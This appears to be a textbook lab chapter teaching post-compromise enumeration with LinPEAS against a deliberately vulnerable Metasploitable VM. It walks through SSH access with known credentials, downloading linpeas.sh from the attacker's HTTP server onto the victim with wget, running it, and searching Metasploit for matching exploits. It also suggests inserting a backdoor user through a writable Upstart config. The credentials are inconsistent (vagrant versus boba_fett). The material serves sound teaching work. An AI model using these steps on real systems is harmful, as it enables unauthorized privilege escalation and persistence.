65 Scanning and Enumeration – Privilege Escalation Awesome Scripts SUITE – New Generation (PEASS-ng)
Ella Lopez and Gunnar Snyder
The Privilege Escalation Awesome Scripts Suite, new generation (PEASS-ng), is a collection of tools designed to identify potential local privilege escalation paths in various operating systems. These tools search for system misconfigurations, vulnerable software, exploitable permissions, and other security weaknesses that could allow an attacker to escalate their privileges. LinPEAS tools are designed for Linux/Unix/MacOS, whereas WinPEAS tools are designed for Windows systems.
People have asked why we consider this lab as part of scanning and enumeration, because you can’t really use PEASS until you have gained access. The reality is that the phases of ethical hacking are not set in stone. Some people use a 5-phase model, a 7-phase, or even an 8-phase model and PEASS use would differ between the models. While PEASS requires some access to the target system, it uses that limited access to scan and enumerate, so that is where we place it in the textbook. Bottom line: when you work on this exercise, place yourself in a situation where you have already performed initial scanning and enumeration and gained access to your target, but now you are scanning and enumerating to gather more information.
Phase 0 – Professional Alignment
After gaining initial access to a system, cybersecurity professionals continue gathering information to identify opportunities for privilege escalation and further compromise. In this chapter, you will use the Privilege Escalation Awesome Scripts Suite – New Generation (PEASS-ng) to enumerate system configurations, identify potential privilege escalation vectors, and validate selected findings within a controlled laboratory environment. These activities demonstrate how post-compromise enumeration supports vulnerability assessment, penetration testing, and enterprise security validation.
DCWF Work Roles
The knowledge and skills developed in this chapter align with the following Department of Defense Cyber Workforce Framework (DCWF) work roles:
- 461 – Vulnerability Assessment Analyst
- 541 – Cyber Defense Analyst
- 451 – System Security Analyst
NICE Work Roles
This chapter supports competencies associated with the following NICE Workforce Framework work roles:
- Vulnerability Assessment Analyst
- Penetration Tester
- Cyber Defense Analyst
Professional Skills
By completing this chapter, you will begin developing the ability to:
- Perform post-compromise system enumeration using PEASS-ng.
- Identify potential privilege escalation vectors on Linux and Windows systems.
- Evaluate operating system configurations for security weaknesses and misconfigurations.
- Correlate enumeration findings with known vulnerabilities and exploitation techniques.
- Validate selected privilege escalation opportunities within an authorized laboratory environment.
- Document post-exploitation findings to support enterprise security assessments.
What You’ll Be Able to Do
After completing this chapter, you should be able to:
- Use LinPEAS to enumerate a compromised Linux system for potential privilege escalation opportunities.
- Interpret PEASS-ng output to identify high-confidence privilege escalation vectors.
- Correlate enumeration findings with Metasploit modules and known vulnerabilities.
- Validate selected privilege escalation opportunities within the Eagle Net environment.
- Explain how post-compromise enumeration supports ethical penetration testing and vulnerability validation.
- Document privilege escalation findings and recommend remediation strategies that reduce enterprise security risk.
Learning Objectives
- Identify software and hardware characteristics of a cyber target
- Use resources to identify potential vulnerabilities
- Exploit one or more vulnerabilities to gain a reverse shell into the target system
Prerequisites
Deliverables
- Two screenshots of different 95% PE vectors
- Two screenshots of different Metasploit vulnerabilities
Resources
Contributors and Testers
- Mathew J. Heath Van Horn, PhD
- Kyle Wheaton, Cybersecurity Student, ERAU-Prescott
Phase I – Getting Started
- BEFORE starting GNS3, navigate to VirtualBox
- Ensure the Kali VM network settings are set to NAT or NAT-Network
- Start the Kali VM
- Check if Kali has PEASS installed type
peass –version
- You should get a version response

Figure 1 – PEASS is installed - If you get a message that it is not installed, then install it following these steps
- Update the Kali VM
sudo apt update
- Upgrade the Kali VM
sudo apt upgrade
- Install PEASS on the Kali VM
sudo apt install peass
- Update the Kali VM
- You should get a version response
- Shutdown the Kali VM
- Change the network settings back to the generic driver
- Use Eagle Net as the baseline network environment for this lab
- Start all machines
NOTE: Depending on how long you take on this lab, some machines might enter sleep mode and become unusable. If this occurs, simply stop the machines in GNS3, then start them up again.
- Ensure that the Kali and Metaspolitable boxes are all able to receive IP addresses
- Record the IP addresses for the VMs for later reference
- Start all machines
Phase II – Using PEASS
Our target in this lab is the vulnerable Metasploitable Linux VM. In this section, we will create a reverse shell on our target to announce its presence to a listener we will build in Phase III. If you feel the need to log into the target machine directly, use the following credentials:
NAME: vagrant
PASSWORD: vagrant
- Navigate to your Kali VM
- Obtain your target’s IP address using Nmap or Zenmap, or just log in to the target.

Figure 2 – our target VM is identified as 200.200.200.7 NOTE: your IPs will vary, but for the commands used in this walkthrough, our IPs are:
– Vulnerable Target – Metasploitable-Linux 200.200.200.7
– Kali Linux 100.100.100.5
– Known credentials:
– NAME: boba-fett
– PASSWORD: mandalorian1 - Most people create an easy-to-reference directory for the linPEAS script. However, you can work out of the linPEAS directory if you choose. Perform the following to make a working directory
- Create the directory
mkdir linpeas
- Copy the script to the directory
cp /usr/share/peass/linpeas.sh ./linpeas
- Verify the file copied
ls ./linpeas

Figure 3 – the peass script has been copied
- Create the directory
- Use Nmap or Zenmap to perform a detailed scan of our target (200.200.200.7) to find vulnerabilities

Figure 4 – detailed scan of the target - Back at the terminal, try to SSH into our target using our known credentials (vagrant:vagrant)
ssh boba_fett@200.200.200.7

Figure 5 – successful ssh access to target machine - Check the user credentials by typing
sudo -l

Figure 6 – boba_fett does not have sudo access - The user boba-fett does not have sudo access
- Navigate to the tmp directory
cd /tmp
- See if you can create an empty file
touch test.txt
- We can see that boba_fett can write to the tmp directory

Figure 7 – boba_fett can write to the tmp directory - Open a new terminal and start a new HTTP server on the attacking machine
- Navigate to linpeas by typing
linpeas
- Start the HTTP server
python3 -m http.server 80

Figure 8 start the http server
- Navigate to linpeas by typing
- Return to the SSH boba_fett terminal and copy the linpeas file from the attacking computer
wget http://100.100.100.5/linpeas.sh

Figure 9 copy linpeas from attacker to victim - Change the permissions for the copied file
chmod +777 linpeas.sh
- Check the permissions
ls -l

Figure 10 check permissions - Now run linpeas and redirect the output to a txt file
./linpeas.sh | tee result.txt

Figure 11 run linpeas
Phase III – Analysis
Now that we have run the tool, we need to look at the results for any possible exploitable (PE) vectors. Thankfully, PEASS provides a color code for easy review and to prioritize your efforts:
RED/YELLOW: 95% this is a PE vector
RED: Worth looking into
LightCyan: Users who can log into the system
Blue: Users who can’t log into the system
Green: common background data
LightMagenta: Your username
- Open the text file we created by linpeas and press enter to get the start of the results
cat result.txt

Figure 12 – reading the text file - You will want your terminal to be as large as possible
- Unsupported OS

Figure 13 – unsupported OS - List of known CVEs

Figure 14 – List of known CVEs - Root owned, but still writable sockets

Figure 15 – root-owned but writable sockets - List of users

Figure 16 list of users - Users with sudo access

Figure 17 list of users with sudo access
- Unsupported OS
Phase IV – Use the information
There are so many exploits available in our target. We will explain two of them using two different techniques.
- The Sinatra exploit
- We can see that we can modify the /etc/init/sinatra.conf file

Figure 18 – access to etc_init_sinatra_conf - A simple Google search reveals:
- Sinatra is a web application development tool
- Files in
/etc/initare Upstart configuration files. Each file defines:- When a service should start (e.g., on boot, after another service, or immediately).
- How it should be started, stopped, or restarted.
- Conditions under which it should run (e.g., network availability, hardware state).
- Actions to take when the service starts or stops.
- Upstart is a type of system initialization framework used in some Linux distributions where the startup and shutdown of services are triggered by specific events rather than a fixed sequence of commands
- With this information we could insert instructions to give us access to the system when Sinatra is started

Figure 18 – we can change the startup script for sinatra - We can use AI to generate a script that would allow us to create a new user, with default passwords, and add them to the SUDO group
- We can see that we can modify the /etc/init/sinatra.conf file
- Use metasploit
- Use any of the keywords we found in our linpeas and find metasploit tools that can take advantage of them
- Open a Metasploit prompt in our attacking machine
msfconsole
- From our CVE list we see dirtycow so we perform a search
search dirtycow

Figure 19 – dirtycow search - We can even just search by our CVE numbers
search CVE-2014-0038

Figure 19 – search by CVE number - We can search for flagged services such as Docker
search docker

Figure 21 – search by service name ‘docker’
- Open a Metasploit prompt in our attacking machine
- Bottom line, using linpeas gives a nice summary of possible vulnerabilities that we can take advantage of. We just need to use our imagination and persistence
- Use any of the keywords we found in our linpeas and find metasploit tools that can take advantage of them
End of Lab
Deliverables
4 Screenshots needed:
- Two screenshots of different 95% PE vectors
- Two screenshots of different Metasploit vulnerabilities
Assignments
Assignment 1: Use Metasploit to gain a shell (or reverse shell) into the target Linux VM
RECOMMENDED GRADING CRITERA:
- Screenshot of the linPEASS vulnerability identified that is used in Metasploit
- Screenshot of the Metasploit attack tool used, including payload
- Screenshot of the shell performing a simple task in the target machine (cat, ls, mkdir, etc..)
Assignment 2: Use the PEASS website to learn how to use winPEASS against our vulnerable Windows VM. Assume our initial recon revealed user vagrant and password vagrant. Use this information to perform a Metasploit attack.
RECOMMENDED GRADING CRITERIA:
- Screenshot of the winPEASS vulnerably identified that is used in Metasploit
- Screenshot of the Metasploit attack tool used, including payload
- Screenshot of the shell performing a simple task in the target machine (cat, ls, mkdir, etc..)
